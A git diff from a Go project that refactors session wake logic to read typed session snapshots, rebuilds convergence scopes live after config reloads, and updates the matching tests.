+			SleepReason:            info.SleepReason,
+			ManualSession:          isManualSessionInfo(info),
 			PendingCreate:          lifecycle.HasWakeCause(session.WakeCausePendingCreate),
 			ExplicitWake:           lifecycle.HasWakeCause(session.WakeCauseExplicit),
-			DependencyOnly:         b.Metadata["dependency_only"] == "true",
+			DependencyOnly:         info.DependencyOnly,
 			NamedIdentity:          lifecycle.NamedIdentity,
-			ConfiguredNamedSession: isNamedSessionBead(*b),
+			ConfiguredNamedSession: isNamedSessionInfo(info),
 			Pinned:                 lifecycle.HasWakeCause(session.WakeCausePinned),
 			Drained:                lifecycle.BaseState == session.BaseStateDrained,
-			WaitHold:               b.Metadata["wait_hold"] == "true",
-			RestartRequested:       strings.TrimSpace(b.Metadata["restart_requested"]) == "true",
-			ContinuationResetPending: strings.TrimSpace(b.Metadata["continuation_reset_pending"]) == "true" &&
-				strings.TrimSpace(b.Metadata[session.ResetCommittedAtKey]) != "",
-			CurrentlyProcessingBeadID: strings.TrimSpace(b.Metadata[session.CurrentBeadIDKey]),
+			WaitHold:               info.WaitHold == "true",
+			RestartRequested:       strings.TrimSpace(info.RestartRequested) == "true",
+			ContinuationResetPending: strings.TrimSpace(info.ContinuationResetPending) == "true" &&
+				strings.TrimSpace(info.ResetCommittedAt) != "",
+			CurrentlyProcessingBeadID: strings.TrimSpace(info.CurrentlyProcessingBeadID),
 		}
 		bead.HeldUntil = lifecycle.HeldUntil
 		bead.QuarantinedUntil = lifecycle.QuarantinedUntil
-		bead.CreatedAt = b.CreatedAt
-		if t, err := time.Parse(time.RFC3339, b.Metadata["detached_at"]); err == nil && !t.IsZero() {
+		bead.CreatedAt = info.CreatedAt
+		if t, err := time.Parse(time.RFC3339, info.DetachedAt); err == nil && !t.IsZero() {
 			bead.IdleSince = t
 		}
 		input.SessionBeads = append(input.SessionBeads, bead)
@@ -159,16 +163,27 @@ func buildAwakeInputFromReconciler(
 
 	// Runtime liveness comes from wakeTargets. Attachment is probed only when
 	// it can affect the awake decision; the common active desired-session path
-	// is already awake and has no idle reference to suppress.
+	// is already awake and has no idle reference to suppress. Index the typed
+	// snapshot by (unique) session ID for the per-target reads — keying by ID is
+	// order-independent, so it does not disturb the SessionName last-write-wins
+	// ordering the session scan above depends on. Every wakeTarget's bead is one
+	// of the sessionInfos (both derive from the reconciler's `ordered` set), so a
+	// miss yields a zero Info whose empty SessionNameMetadata skips the target —
+	// the same skip the former empty-session_name read produced.
+	infoBy := make(map[string]session.Info, len(sessionInfos))
+	for _, in := range sessionInfos {
+		infoBy[in.ID] = in
+	}
 	for _, target := range wakeTargets {
-		name := strings.TrimSpace(target.session.Metadata["session_name"])
+		info := infoBy[target.session.ID]
+		name := strings.TrimSpace(info.SessionNameMetadata)
 		if name == "" {
 			continue
 		}
 		if target.alive {
 			input.RunningSessions[name] = true
 		}
-		if shouldProbeAttachmentForAwakeInput(target, cfg, poolDesired) {
+		if shouldProbeAttachmentForAwakeInput(info, target.alive, cfg, poolDesired) {
 			if attached, err := workerSessionTargetAttachedWithConfig("", nil, sp, nil, name); err == nil && attached {
 				input.AttachedSessions[name] = true
 			}
@@ -181,23 +196,24 @@ func buildAwakeInputFromReconciler(
 	return input
 }
 
-func shouldProbeAttachmentForAwakeInput(target wakeTarget, cfg *config.City, poolDesired map[string]int) bool {
-	if target.session == nil {
-		return false
-	}
-	if !target.alive {
+func shouldProbeAttachmentForAwakeInput(info session.Info, alive bool, cfg *config.City, poolDesired map[string]int) bool {
+	if !alive {
 		return false
 	}
-	state := target.session.Metadata["state"]
+	// MetadataState is the RAW state metadata (verbatim), matching the former
+	// raw state field read off the session bead — NOT the normalized,
+	// closed-blanked Info.State, which would flip the probe verdict for a closed
+	// bead whose raw state is still "active".
+	state := info.MetadataState
 	if state != string(session.StateActive) && state != string(session.StateAwake) {
 		return true
 	}
-	if target.session.Metadata["detached_at"] != "" {
+	if info.DetachedAt != "" {
 		return true
 	}
-	template := normalizedSessionTemplate(*target.session, cfg)
+	template := normalizedSessionTemplateInfo(info, cfg)
 	if template == "" {
-		template = target.session.Metadata["template"]
+		template = info.Template
 	}
 	if template != "" && poolDesired[template] > 0 {
 		return false
diff --git a/cmd/gc/compute_awake_bridge_test.go b/cmd/gc/compute_awake_bridge_test.go
index b6f74abc8d..b9b96efeed 100644
--- a/cmd/gc/compute_awake_bridge_test.go
+++ b/cmd/gc/compute_awake_bridge_test.go
@@ -15,7 +15,7 @@ func TestBuildAwakeInputFromReconcilerUsesLifecycleProjectionForCompatibilitySta
 	input := buildAwakeInputFromReconciler(
 		&config.City{},
 		"", // cityPath: empty exercises zero suspension state
-		[]beads.Bead{{
+		[]session.Info{session.InfoFromPersistedBead(beads.Bead{
 			ID:     "mc-session-1",
 			Status: "open",
 			Type:   "session",
@@ -24,7 +24,7 @@ func TestBuildAwakeInputFromReconcilerUsesLifecycleProjectionForCompatibilitySta
 				"session_name": "s-worker",
 				"template":     "worker",
 			},
-		}},
+		})},
 		nil,
 		nil,
 		nil,
@@ -44,6 +44,39 @@ func TestBuildAwakeInputFromReconcilerUsesLifecycleProjectionForCompatibilitySta
 	}
 }
 
+// TestBuildAwakeInputFromReconcilerReadsInfoSnapshot pins that the scan projects
+// the typed session.Info it is handed rather than re-deriving any field: it sets a
+// SleepReason on the Info that no raw bead projection would carry and asserts that
+// value survives into the AwakeSessionBead.
+func TestBuildAwakeInputFromReconcilerReadsInfoSnapshot(t *testing.T) {
+	now := time.Now().UTC()
+	b := beads.Bead{
+		ID:     "mc-session-1",
+		Status: "open",
+		Type:   "session",
+		Metadata: map[string]string{
+			"state":        "active",
+			"session_name": "s-worker",
+			"template":     "worker",
+			"sleep_reason": "from-bead",
+		},
+	}
+	info := session.InfoFromPersistedBead(b)
+	info.SleepReason = "from-snapshot"
+
+	input := buildAwakeInputFromReconciler(
+		&config.City{}, "", []session.Info{info},
+		nil, nil, nil, nil, nil, nil, nil, nil, now,
+	)
+
+	if len(input.SessionBeads) != 1 {
+		t.Fatalf("SessionBeads length = %d, want 1", len(input.SessionBeads))
+	}
+	if got := input.SessionBeads[0].SleepReason; got != "from-snapshot" {
+		t.Fatalf("SleepReason = %q, want from-snapshot (scan must read the Info snapshot, not re-derive the raw bead)", got)
+	}
+}
+
 // TestBuildAwakeInputFromReconcilerCanonicalizesLegacyBoundTemplate pins the
 // bridge-side identity normalization for adopted legacy-bound session beads.
 // A bead persisted under a removed binding ("gascity-packs/gc.implementation-worker")
@@ -60,7 +93,7 @@ func TestBuildAwakeInputFromReconcilerCanonicalizesLegacyBoundTemplate(t *testin
 	input := buildAwakeInputFromReconciler(
 		cfg,
 		"", // cityPath: empty exercises zero suspension state
-		[]beads.Bead{{
+		[]session.Info{session.InfoFromPersistedBead(beads.Bead{
 			ID:     "mc-session-1",
 			Status: "open",
 			Type:   "session",
@@ -70,7 +103,7 @@ func TestBuildAwakeInputFromReconcilerCanonicalizesLegacyBoundTemplate(t *testin
 				"template":     "gascity-packs/gc.implementation-worker",
 				"wake_request": "explicit",
 			},
-		}},
+		})},
 		nil,
 		nil,
 		nil,
@@ -108,7 +141,7 @@ func TestBuildAwakeInputFromReconcilerKeepsUnresolvableTemplateRaw(t *testing.T)
 	input := buildAwakeInputFromReconciler(
 		&config.City{Agents: []config.Agent{{Name: "other", Dir: "rig"}}},
 		"", // cityPath: empty exercises zero suspension state
-		[]beads.Bead{{
+		[]session.Info{session.InfoFromPersistedBead(beads.Bead{
 			ID:     "mc-session-1",
 			Status: "open",
 			Type:   "session",
@@ -117,7 +150,7 @@ func TestBuildAwakeInputFromReconcilerKeepsUnresolvableTemplateRaw(t *testing.T)
 				"session_name": "s-orphan",
 				"template":     "removed-rig/gone-worker",
 			},
-		}},
+		})},
 		nil,
 		nil,
 		nil,
@@ -142,7 +175,7 @@ func TestBuildAwakeInputFromReconcilerCarriesResetPendingMetadata(t *testing.T)
 	input := buildAwakeInputFromReconciler(
 		&config.City{},
 		"", // cityPath: empty exercises zero suspension state
-		[]beads.Bead{{
+		[]session.Info{session.InfoFromPersistedBead(beads.Bead{
 			ID:     "mc-session-1",
 			Status: "open",
 			Type:   "session",
@@ -154,7 +187,7 @@ func TestBuildAwakeInputFromReconcilerCarriesResetPendingMetadata(t *testing.T)
 				"continuation_reset_pending": "true",
 				session.ResetCommittedAtKey:  now.Format(time.RFC3339),
 			},
-		}},
+		})},
 		nil,
 		nil,
 		nil,
@@ -186,7 +219,7 @@ func TestBuildAwakeInputFromReconcilerPopulatesPendingInteractions(t *testing.T)
 		Kind:      "question",
 		Prompt:    "approve?",
 	})
-	session := beads.Bead{
+	sessionBead := beads.Bead{
 		ID:     "mc-session-1",
 		Status: "open",
 		Type:   "session",
@@ -200,14 +233,14 @@ func TestBuildAwakeInputFromReconcilerPopulatesPendingInteractions(t *testing.T)
 	input := buildAwakeInputFromReconciler(
 		&config.City{Agents: []config.Agent{{Name: "worker"}}},
 		"", // cityPath: empty exercises zero suspension state
-		[]beads.Bead{session},
+		[]session.Info{session.InfoFromPersistedBead(sessionBead)},
 		nil,
 		nil,
 		nil,
 		nil,
 		nil,
 		nil,
-		[]wakeTarget{{session: &session, alive: true}},
+		[]wakeTarget{{session: &sessionBead, alive: true}},
 		sp,
 		now,
 	)
@@ -251,7 +284,7 @@ func TestBuildAwakeInputFromReconciler_BlockedAssignedOpenBeadDoesNotKeepSession
 	input := buildAwakeInputFromReconciler(
 		cfg,
 		"",
-		[]beads.Bead{sessionBead},
+		[]session.Info{session.InfoFromPersistedBead(sessionBead)},
 		nil,
 		nil,
 		nil,
@@ -303,7 +336,7 @@ func TestBuildAwakeInputFromReconciler_ReadyAssignedOpenBeadWakesSession(t *test
 	input := buildAwakeInputFromReconciler(
 		cfg,
 		"",
-		[]beads.Bead{sessionBead},
+		[]session.Info{session.InfoFromPersistedBead(sessionBead)},
 		nil,
 		nil,
 		nil,
@@ -352,7 +385,7 @@ func TestBuildAwakeInputFromReconciler_InProgressAssignedBeadStillWakes(t *testi
 	input := buildAwakeInputFromReconciler(
 		cfg,
 		"",
-		[]beads.Bead{sessionBead},
+		[]session.Info{session.InfoFromPersistedBead(sessionBead)},
 		nil,
 		nil,
 		nil,
@@ -432,7 +465,7 @@ func TestBuildAwakeInputFromReconciler_CrossStoreSameIDReadinessIsStoreScoped(t
 	input := buildAwakeInputFromReconciler(
 		cfg,
 		"",
-		[]beads.Bead{citySession, rigSession},
+		[]session.Info{session.InfoFromPersistedBead(citySession), session.InfoFromPersistedBead(rigSession)},
 		nil,
 		nil,
 		nil,
@@ -528,7 +561,7 @@ func TestBuildAwakeInputFromReconcilerCarriesNamedSessionDemand(t *testing.T) {
 	input := buildAwakeInputFromReconciler(
 		cfg,
 		"", // cityPath: empty exercises zero suspension state
-		[]beads.Bead{sessionBead},
+		[]session.Info{session.InfoFromPersistedBead(sessionBead)},
 		map[string]int{"worker": 1},
 		map[string]bool{"primary": true},
 		nil,
@@ -580,7 +613,7 @@ func TestBuildAwakeInputFromReconciler_RigNamedWorkQueryDemandWakesCanonicalSess
 	input := buildAwakeInputFromReconciler(
 		cfg,
 		"", // cityPath: empty exercises zero suspension state
-		[]beads.Bead{sessionBead},
+		[]session.Info{session.InfoFromPersistedBead(sessionBead)},
 		nil,
 		nil,
 		map[string]bool{"rig-a/worker": true},
@@ -641,7 +674,7 @@ func TestBuildAwakeInputFromReconcilerNamedAlwaysPostChurnRewakes(t *testing.T)
 	input := buildAwakeInputFromReconciler(
 		cfg,
 		"", // cityPath: empty exercises zero suspension state
-		[]beads.Bead{postChurnBead},
+		[]session.Info{session.InfoFromPersistedBead(postChurnBead)},
 		nil, nil, nil, nil, nil, nil, nil,
 		runtime.NewFake(),
 		now,
diff --git a/cmd/gc/compute_awake_set_min_active_test.go b/cmd/gc/compute_awake_set_min_active_test.go
index 011786e554..177e1d9aa5 100644
--- a/cmd/gc/compute_awake_set_min_active_test.go
+++ b/cmd/gc/compute_awake_set_min_active_test.go
@@ -6,6 +6,7 @@ import (
 
 	"github.com/gastownhall/gascity/internal/beads"
 	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/session"
 )
 
 // These tests cover the min_active_sessions-aware wake path added for #2739:
@@ -186,7 +187,7 @@ func TestMinActive_LegacyBoundTemplateRevivedThroughBridge(t *testing.T) {
 	input := buildAwakeInputFromReconciler(
 		cfg,
 		"", // cityPath: empty exercises zero suspension state
-		[]beads.Bead{{
+		[]session.Info{session.InfoFromPersistedBead(beads.Bead{
 			ID:     "s-1",
 			Status: "open",
 			Type:   "session",
@@ -196,7 +197,7 @@ func TestMinActive_LegacyBoundTemplateRevivedThroughBridge(t *testing.T) {
 				"session_name": "rig--pl-legacy",
 				"template":     "rig/gc.pl",
 			},
-		}},
+		})},
 		nil, nil, nil, nil, nil, nil, nil, nil,
 		time.Now().UTC(),
 	)
diff --git a/cmd/gc/controller.go b/cmd/gc/controller.go
index fba389be99..382ca8452b 100644
--- a/cmd/gc/controller.go
+++ b/cmd/gc/controller.go
@@ -269,7 +269,12 @@ func handleSessionCircuitResetSocketCmd(conn net.Conn, cityPath, payload string)
 		})
 		return
 	}
-	if err := resetSessionCircuitBreakerState(store, sessionID, identity, defaultSessionCircuitBreaker()); err != nil {
+	// Route the session circuit-breaker reset through the session
+	// coordination-class store so a [beads.classes.sessions] relocation reaches
+	// this socket-command path. No-refresh loader: this runs inside the running
+	// controller (packs already materialized); nil cfg → cliSessionStore identity.
+	cfg, _ := loadCityConfigWithoutBuiltinPackRefresh(cityPath, io.Discard)
+	if err := resetSessionCircuitBreakerState(cliSessionStore(store, cfg, cityPath), sessionID, identity, defaultSessionCircuitBreaker()); err != nil {
 		writeJSONLine(conn, sessionCircuitResetReply{
 			Outcome: "failed",
 			Error:   err.Error(),
@@ -948,6 +953,9 @@ func tryReloadConfig(tomlPath, lockedWorkspaceName, cityRoot string) (*reloadRes
 	if err := config.ValidateServices(newCfg.Services); err != nil {
 		return failWithWarnings(fmt.Errorf("validating services: %w", err))
 	}
+	if err := config.ValidateWebhooks(newCfg.Webhooks); err != nil {
+		return failWithWarnings(fmt.Errorf("validating webhooks: %w", err))
+	}
 	if err := workspacesvc.ValidateRuntimeSupport(newCfg.Services); err != nil {
 		return failWithWarnings(fmt.Errorf("validating services: %w", err))
 	}
diff --git a/cmd/gc/controller_test.go b/cmd/gc/controller_test.go
index 15369ffb20..c584a08597 100644
--- a/cmd/gc/controller_test.go
+++ b/cmd/gc/controller_test.go
@@ -20,6 +20,7 @@ import (
 	"github.com/gastownhall/gascity/internal/config"
 	"github.com/gastownhall/gascity/internal/events"
 	"github.com/gastownhall/gascity/internal/runtime"
+	sessionpkg "github.com/gastownhall/gascity/internal/session"
 )
 
 func TestControllerLoopCancel(t *testing.T) {
@@ -1464,7 +1465,7 @@ func TestResetSessionCircuitBreakerStateClearsRacingOpenPersist(t *testing.T) {
 
 	persistErr := make(chan error, 1)
 	go func() {
-		persistErr <- persistSessionCircuitBreakerMetadata(sessionFrontDoor(store), &session, cb, identity, t0.Add(6*time.Minute))
+		persistErr <- persistSessionCircuitBreakerMetadata(sessionFrontDoor(store), session.ID, cb, identity, t0.Add(6*time.Minute))
 	}()
 
 	select {
@@ -1645,7 +1646,7 @@ func TestResetSessionCircuitBreakerStateRejectsStaleRestoreSnapshot(t *testing.T
 	if got := updated.Metadata[sessionCircuitResetGenerationMetadata]; got != "2" {
 		t.Fatalf("%s = %q, want 2", sessionCircuitResetGenerationMetadata, got)
 	}
-	if reset, err := cb.restoreFromMetadata(identity, staleSnapshot, t0.Add(7*time.Minute)); err != nil || reset {
+	if reset, err := cb.restoreFromMetadata(identity, sessionpkg.CircuitStateFromMetadata(staleSnapshot), t0.Add(7*time.Minute)); err != nil || reset {
 		t.Fatalf("restoreFromMetadata stale reset=%v err=%v", reset, err)
 	}
 	if cb.IsOpen(identity, t0.Add(7*time.Minute)) {
@@ -1689,7 +1690,7 @@ func TestResetSessionCircuitBreakerStateRejectsHigherGenerationStaleRestoreSnaps
 	if got := updated.Metadata[sessionCircuitResetGenerationMetadata]; got != "5" {
 		t.Fatalf("%s = %q, want 5", sessionCircuitResetGenerationMetadata, got)
 	}
-	if reset, err := cb.restoreFromMetadata(identity, staleSnapshot, t0.Add(7*time.Minute)); err != nil || reset {
+	if reset, err := cb.restoreFromMetadata(identity, sessionpkg.CircuitStateFromMetadata(staleSnapshot), t0.Add(7*time.Minute)); err != nil || reset {
 		t.Fatalf("restoreFromMetadata stale reset=%v err=%v", reset, err)
 	}
 	if cb.IsOpen(identity, t0.Add(7*time.Minute)) {
diff --git a/cmd/gc/convergence_integration_test.go b/cmd/gc/convergence_integration_test.go
index ce634e290f..b6314ec639 100644
--- a/cmd/gc/convergence_integration_test.go
+++ b/cmd/gc/convergence_integration_test.go
@@ -656,54 +656,27 @@ func TestConvergence_StartupReconcileRetriesFailedScopeOnTick(t *testing.T) {
 	}
 }
 
-func TestConvergenceScopeForRigRejectsStaleCachedScope(t *testing.T) {
+func TestConvergenceScopeForRigUnboundAndUnknown(t *testing.T) {
 	tests := []struct {
 		name      string
 		setup     func(t *testing.T, cr *CityRuntime)
 		wantError string
 	}{
 		{
-			name: "cached rig path changed",
+			name: "unbound rig fails loud (#2357)",
 			setup: func(t *testing.T, cr *CityRuntime) {
 				t.Helper()
-				oldPath := filepath.Join(cr.cityPath, "rigs", "prod-old")
-				newPath := filepath.Join(cr.cityPath, "rigs", "prod-new")
-				cr.cfg.Rigs = []config.Rig{{Name: "prod", Path: oldPath}}
-				addConvergenceRigScopeAt(cr, "prod", beads.NewMemStore(), oldPath)
-				cr.cfg.Rigs = []config.Rig{{Name: "prod", Path: newPath}}
-			},
-			wantError: "changed after config reload",
-		},
-		{
-			name: "cached rig became unbound",
-			setup: func(t *testing.T, cr *CityRuntime) {
-				t.Helper()
-				oldPath := filepath.Join(cr.cityPath, "rigs", "prod")
-				cr.cfg.Rigs = []config.Rig{{Name: "prod", Path: oldPath}}
-				addConvergenceRigScopeAt(cr, "prod", beads.NewMemStore(), oldPath)
 				cr.cfg.Rigs = []config.Rig{{Name: "prod"}}
 			},
-			wantError: "became unbound after config reload",
+			wantError: "no bead store",
 		},
 		{
-			name: "cached rig removed",
+			name: "unregistered rig",
 			setup: func(t *testing.T, cr *CityRuntime) {
 				t.Helper()
-				oldPath := filepath.Join(cr.cityPath, "rigs", "prod")
-				cr.cfg.Rigs = []config.Rig{{Name: "prod", Path: oldPath}}
-				addConvergenceRigScopeAt(cr, "prod", beads.NewMemStore(), oldPath)
 				cr.cfg.Rigs = nil
 			},
-			wantError: "was removed from city config",
-		},
-		{
-			name: "bound rig lacks cached scope",
-			setup: func(t *testing.T, cr *CityRuntime) {
-				t.Helper()
-				path := filepath.Join(cr.cityPath, "rigs", "prod")
-				cr.cfg.Rigs = []config.Rig{{Name: "prod", Path: path}}
-			},
-			wantError: "is bound but convergence scopes were not rebuilt",
+			wantError: "is not registered in this city",
 		},
 	}
 
@@ -714,7 +687,7 @@ func TestConvergenceScopeForRigRejectsStaleCachedScope(t *testing.T) {
 
 			scope, err := cr.convergenceScopeForRig("prod")
 			if err == nil {
-				t.Fatal("expected stale cached scope error")
+				t.Fatal("expected error for unbound/unknown rig")
 			}
 			if scope != nil {
 				t.Fatalf("scope = %#v, want nil", scope)
@@ -726,85 +699,71 @@ func TestConvergenceScopeForRigRejectsStaleCachedScope(t *testing.T) {
 	}
 }
 
-func TestConvergenceTickSkipsStaleCachedRigScope(t *testing.T) {
+// TestConvergenceRebuildAddsRigScope proves the #2403 fix: a rig added by a
+// config reload is picked up live by rebuildConvergenceHandler instead of
+// requiring a controller restart. The new scope is marked
+// needsStartupReconcile so the tick machinery populates its active index.
+func TestConvergenceRebuildAddsRigScope(t *testing.T) {
 	cr, _ := setupConvergenceRuntime(t)
+	if _, err := cr.convergenceScopeForRig("prod"); err == nil {
+		t.Fatal("prod scope should not exist before reload")
+	}
+
 	rigStore := beads.NewMemStore()
-	oldPath := filepath.Join(cr.cityPath, "rigs", "prod-old")
-	newPath := filepath.Join(cr.cityPath, "rigs", "prod-new")
-	cr.cfg.Rigs = []config.Rig{{Name: "prod", Path: oldPath}}
-	rigScope := addConvergenceRigScopeAt(cr, "prod", rigStore, oldPath)
+	rigPath := filepath.Join(cr.cityPath, "rigs", "prod")
+	cr.cfg.Rigs = []config.Rig{{Name: "prod", Path: rigPath}}
+	cr.standaloneRigStores = map[string]beads.Store{"prod": rigStore}
 
-	createReply := sendAndReceive(t, cr, convergenceRequest{
-		Command: "create",
-		Params: map[string]string{
-			"formula":        "test-formula",
-			"target":         "test-agent",
-			"max_iterations": "5",
-			"rig":            "prod",
-		},
-	})
-	if createReply.Error != "" {
-		t.Fatalf("create error: %s", createReply.Error)
-	}
-	var created convergence.CreateResult
-	if err := json.Unmarshal(createReply.Result, &created); err != nil {
-		t.Fatalf("unmarshaling: %v", err)
+	cr.rebuildConvergenceHandler()
+
+	scope, err := cr.convergenceScopeForRig("prod")
+	if err != nil {
+		t.Fatalf("prod scope missing after rebuild: %v", err)
 	}
-	if err := rigScope.adapter.populateIndex(); err != nil {
-		t.Fatalf("populateIndex: %v", err)
+	if scope == nil {
+		t.Fatal("prod scope nil after rebuild")
 	}
-	if err := rigStore.Close(created.FirstWispID); err != nil {
-		t.Fatalf("closing wisp: %v", err)
+	if !scope.needsStartupReconcile {
+		t.Fatal("rebuilt scope should be marked needsStartupReconcile")
 	}
-	cr.cfg.Rigs = []config.Rig{{Name: "prod", Path: newPath}}
 
-	cr.convergenceTick(context.Background())
-
-	meta, err := rigScope.handler.Store.GetMetadata(created.BeadID)
-	if err != nil {
-		t.Fatalf("GetMetadata: %v", err)
-	}
-	if got := meta[convergence.FieldState]; got != convergence.StateActive {
-		t.Fatalf("state after stale-scope tick = %q, want %q", got, convergence.StateActive)
+	// The next tick reconciles and populates the new scope's active index.
+	cr.convergenceTickScope(context.Background(), scope)
+	if scope.needsStartupReconcile {
+		t.Fatal("scope should be reconciled after a tick")
 	}
-	if !strings.Contains(cr.stderr.(*bytes.Buffer).String(), "changed after config reload") {
-		t.Fatalf("stderr = %q, want stale-scope diagnostic", cr.stderr.(*bytes.Buffer).String())
+	if scope.adapter.activeIndex == nil {
+		t.Fatal("active index should be populated after a tick")
 	}
 }
 
-func TestConvergenceStartupReconcileSkipsRemovedRigScope(t *testing.T) {
+// TestConvergenceRebuildDropsRemovedRigScope proves a rig removed by a
+// config reload no longer resolves to a scope after rebuild.
+func TestConvergenceRebuildDropsRemovedRigScope(t *testing.T) {
 	cr, _ := setupConvergenceRuntime(t)
 	rigStore := beads.NewMemStore()
-	oldPath := filepath.Join(cr.cityPath, "rigs", "prod")
-	cr.cfg.Rigs = []config.Rig{{Name: "prod", Path: oldPath}}
-	addConvergenceRigScopeAt(cr, "prod", rigStore, oldPath)
-
-	b, err := rigStore.Create(beads.Bead{Title: "terminated", Type: "convergence", Status: "in_progress"})
-	if err != nil {
-		t.Fatalf("creating bead: %v", err)
-	}
-	for key, value := range map[string]string{
-		convergence.FieldState:          convergence.StateTerminated,
-		convergence.FieldTerminalReason: convergence.TerminalApproved,
-		convergence.FieldTerminalActor:  "controller",
-	} {
-		if err := rigStore.SetMetadata(b.ID, key, value); err != nil {
-			t.Fatalf("setting %s: %v", key, err)
-		}
+	rigPath := filepath.Join(cr.cityPath, "rigs", "prod")
+	cr.cfg.Rigs = []config.Rig{{Name: "prod", Path: rigPath}}
+	cr.standaloneRigStores = map[string]beads.Store{"prod": rigStore}
+	cr.rebuildConvergenceHandler()
+	if _, err := cr.convergenceScopeForRig("prod"); err != nil {
+		t.Fatalf("prod scope should exist after first rebuild: %v", err)
 	}
-	cr.cfg.Rigs = nil
 
-	cr.convergenceStartupReconcile(context.Background())
+	// Remove the rig from config and rebuild.
+	cr.cfg.Rigs = nil
+	cr.standaloneRigStores = nil
+	cr.rebuildConvergenceHandler()
 
-	got, err := rigStore.Get(b.ID)
-	if err != nil {
-		t.Fatalf("Get: %v", err)
+	scope, err := cr.convergenceScopeForRig("prod")
+	if err == nil {
+		t.Fatal("prod scope should be gone after removal rebuild")
 	}
-	if got.Status == "closed" {
-		t.Fatalf("status after stale-scope startup reconcile = %q, want unclosed", got.Status)
+	if scope != nil {
+		t.Fatalf("scope = %#v, want nil", scope)
 	}
-	if !strings.Contains(cr.stderr.(*bytes.Buffer).String(), "was removed from city config") {
-		t.Fatalf("stderr = %q, want removed-rig diagnostic", cr.stderr.(*bytes.Buffer).String())
+	if !strings.Contains(err.Error(), "is not registered in this city") {
+		t.Fatalf("error = %q, want not-registered diagnostic", err)
 	}
 }
 
diff --git a/cmd/gc/convergence_tick.go b/cmd/gc/convergence_tick.go
index 7808f88481..0c3a1ea379 100644
--- a/cmd/gc/convergence_tick.go
+++ b/cmd/gc/convergence_tick.go
@@ -65,16 +65,14 @@ func (s *convergenceScope) triggerName(prefix string) string {
 	return prefix + "-rig-" + s.rig
 }
 
-// initConvergenceHandler builds one convergence scope per available bead
-// store: the city/HQ store plus every bound rig store. Called once during
-// CityRuntime.run() initialization.
-//
-// TODO(#2403): rigs added by a later config reload are not picked up until
-// the controller restarts — convScopes is not rebuilt on reload.
-func (cr *CityRuntime) initConvergenceHandler() {
+// buildConvergenceScopes derives one convergence scope per available bead
+// store from the current config: the city/HQ store plus every bound rig
+// store. Returns nil when no city store is available yet, in which case
+// callers leave the existing scopes untouched.
+func (cr *CityRuntime) buildConvergenceScopes() map[string]*convergenceScope {
 	cityStore := cr.cityBeadStore()
 	if cityStore == nil {
-		return
+		return nil
 	}
 	scopes := map[string]*convergenceScope{
 		"": cr.newConvergenceScope("", cityStore, cr.cityPath, cr.cfg.FormulaLayers.City),
@@ -87,6 +85,39 @@ func (cr *CityRuntime) initConvergenceHandler() {
 		scopes[rigName] = cr.newConvergenceScope(
 			rigName, store, rigStorePaths[rigName], cr.cfg.FormulaLayers.SearchPaths(rigName))
 	}
+	return scopes
+}
+
+// initConvergenceHandler builds one convergence scope per available bead
+// store: the city/HQ store plus every bound rig store. Called once during
+// CityRuntime.run() initialization; convergenceStartupReconcile then
+// reconciles and populates each scope's active index.
+func (cr *CityRuntime) initConvergenceHandler() {
+	scopes := cr.buildConvergenceScopes()
+	if scopes == nil {
+		return
+	}
+	cr.convScopesMu.Lock()
+	cr.convScopes = scopes
+	cr.convScopesMu.Unlock()
+}
+
+// rebuildConvergenceHandler re-derives all convergence scopes from the
+// current config after a reload, replacing the in-memory scope map
+// wholesale. Rigs added, removed, or rebound by the reload are honored
+// live instead of divergence being detected and punted to a controller
+// restart (the #2403 bug class). Each rebuilt scope is marked
+// needsStartupReconcile so the existing tick machinery
+// (convergenceTickScope) reconciles interrupted beads and repopulates its
+// active index on the next tick.
+func (cr *CityRuntime) rebuildConvergenceHandler() {
+	scopes := cr.buildConvergenceScopes()
+	if scopes == nil {
+		return
+	}
+	for _, scope := range scopes {
+		scope.needsStartupReconcile = true
+	}
 	cr.convScopesMu.Lock()
 	cr.convScopes = scopes
 	cr.convScopesMu.Unlock()
@@ -167,61 +198,32 @@ func unboundRigConvergenceError(rig string) error {
 }
 
 // convergenceScopeForRig returns the convergence scope for a rig name. An
-// empty rig selects the city/HQ scope. An unknown or unbound rig is an
-// error so a mistyped or unbound --rig fails loudly instead of silently
-// writing the bead to HQ (the defect tracked in issue #2357). The error
-// distinguishes a misspelled rig from a registered-but-unusable one.
+// empty rig selects the city/HQ scope. Config reloads rebuild convScopes
+// (rebuildConvergenceHandler), so a bound rig always has a live scope. An
+// unknown or unbound rig is an error so a mistyped or unbound --rig fails
+// loudly instead of silently writing the bead to HQ (the defect tracked in
+// issue #2357).
 func (cr *CityRuntime) convergenceScopeForRig(rig string) (*convergenceScope, error) {
 	if cr.convScopes == nil {
 		return nil, fmt.Errorf("convergence not available (no bead store)")
 	}
 	if scope, ok := cr.convScopes[rig]; ok {
-		if rig == "" {
-			return scope, nil
-		}
-		for _, candidate := range cr.convergenceRigSnapshot() {
-			if candidate.Name != rig {
-				continue
-			}
-			if strings.TrimSpace(candidate.Path) == "" {
-				return nil, fmt.Errorf("rig %q became unbound after config reload but convergence scopes were not rebuilt; restart the controller (#2403)", rig)
-			}
-			currentPath := resolveStoreScopeRoot(cr.cityPath, candidate.Path)
-			if currentPath != scope.storePath {
-				return nil, fmt.Errorf("rig %q bead store changed after config reload from %q to %q; restart the controller (#2403)", rig, scope.storePath, currentPath)
-			}
-			return scope, nil
-		}
-		return nil, fmt.Errorf("rig %q was removed from city config but convergence scopes were not rebuilt; restart the controller (#2403)", rig)
+		return scope, nil
 	}
+	// No scope for this rig: distinguish an unbound rig (#2357: fail loud
+	// instead of silently writing to HQ) from a misspelled or unregistered
+	// one.
 	for _, candidate := range cr.convergenceRigSnapshot() {
 		if candidate.Name == rig {
 			if strings.TrimSpace(candidate.Path) == "" {
 				return nil, unboundRigConvergenceError(rig)
 			}
-			return nil, fmt.Errorf("rig %q is bound but convergence scopes were not rebuilt after config reload; restart the controller (#2403)", rig)
+			return nil, fmt.Errorf("rig %q is registered but has no convergence scope", rig)
 		}
 	}
 	return nil, fmt.Errorf("rig %q is not registered in this city", rig)
 }
 
-func (cr *CityRuntime) validateConvergenceScopeCurrent(scope *convergenceScope) error {
-	if scope == nil {
-		return fmt.Errorf("convergence scope is nil")
-	}
-	current, err := cr.convergenceScopeForRig(scope.rig)
-	if err != nil {
-		return err
-	}
-	if current != scope {
-		if scope.rig == "" {
-			return fmt.Errorf("city/HQ convergence scope was rebuilt; skipping stale cached scope")
-		}
-		return fmt.Errorf("rig %q convergence scope was rebuilt; skipping stale cached scope", scope.rig)
-	}
-	return nil
-}
-
 // convergenceTick processes active convergence loops in every scope — the
